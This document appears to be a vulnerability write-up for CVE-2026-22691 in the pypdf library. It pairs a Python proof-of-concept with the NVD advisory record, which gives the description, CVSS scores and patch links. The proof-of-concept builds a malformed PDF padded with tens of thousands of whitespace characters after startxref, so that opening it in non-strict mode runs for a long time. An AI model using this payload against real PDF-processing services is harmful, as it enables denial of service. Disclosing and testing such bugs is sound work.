CVE-2026-22691

#!/usr/bin/env python3 """ CVE-2026-22691 PoC - pypdf startxref DoS This PoC demonstrates the vulnerability in pypdf < 6.6.0 where malformed startxref with excessive whitespace causes long runtimes. """ from pypdf import PdfReader import io def create_malicious_pdf(): """ Create a malicious PDF with excessive whitespace in startxref section """ # Create PDF with lots of whitespace before startxref # This triggers long runtime in cross-reference table rebuilding malicious_pdf = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj xref 0 4 0000000000 65535 f 0000000015 00000 n 0000000068 00000 n 0000000125 00000 n trailer << /Size 4 /Root 1 0 R >> startxref """ # Add excessive whitespace (thousands of spaces/tabs/newlines) whitespace = b' ' * 50000 + b'\t' * 10000 + b'\n' * 10000 # Invalid startxref value followed by EOF marker end_marker = b"\n%%EOF" return malicious_pdf + whitespace + end_marker def exploit(): """ Exploit function to trigger the vulnerability """ print("[*] Creating malicious PDF...") pdf_data = create_malicious_pdf() print("[*] Opening PDF with pypdf (non-strict mode)...") print("[*] This may take a long time due to the vulnerability...") try: # Open in non-strict mode (strict=False is default for some operations) pdf_file = io.BytesIO(pdf_data) reader = PdfReader(pdf_file, strict=False) # This is where the long runtime occurs # Accessing pages triggers cross-reference table rebuilding num_pages = len(reader.pages) print(f"[!] Unexpectedly succeeded: {num_pages} pages") except Exception as e: print(f"[!] Exception occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-22691", "sourceIdentifier": "[email protected]", "published": "2026-01-10T05:16:08.680", "lastModified": "2026-01-22T15:01:05.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pypdf is a free and open-source pure-python PDF library. Prior to version 6.6.0, pypdf has possible long runtimes for malformed startxref. An attacker who uses this vulnerability can craft a PDF which leads to possibly long runtimes for invalid startxref entries. When rebuilding the cross-reference table, PDF files with lots of whitespace characters become problematic. Only the non-strict reading mode is affected. Only the non-strict reading mode is affected. This issue has been patched in version 6.6.0."}, {"lang": "es", "value": "pypdf es una biblioteca PDF de Python puro, gratuita y de código abierto. Antes de la versión 6.6.0, pypdf presenta posibles tiempos de ejecución prolongados para 'startxref' malformados. Un atacante que utiliza esta vulnerabilidad puede crear un PDF que provoca posibles tiempos de ejecución prolongados para entradas 'startxref' no válidas. Al reconstruir la tabla de referencias cruzadas, los archivos PDF con muchos caracteres de espacio en blanco se vuelven problemáticos. Solo el modo de lectura no estricto se ve afectado. Solo el modo de lectura no estricto se ve afectado. Este problema ha sido parcheado en la versión 6.6.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.6.0", "matchCriteriaId": "9ADBA6D3-BBC5-422A-A65F-87D6BE1A7BC9"}]}]}], "references": [{"url": "https://github.com/py-pdf/pypdf/commit/294165726b646bb7799be1cc787f593f2fdbcf45", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/py-pdf/pypdf/pull/3594", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/py-pdf/pypdf/releases/tag/6.6.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-4f6g-68pf-7vhv", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}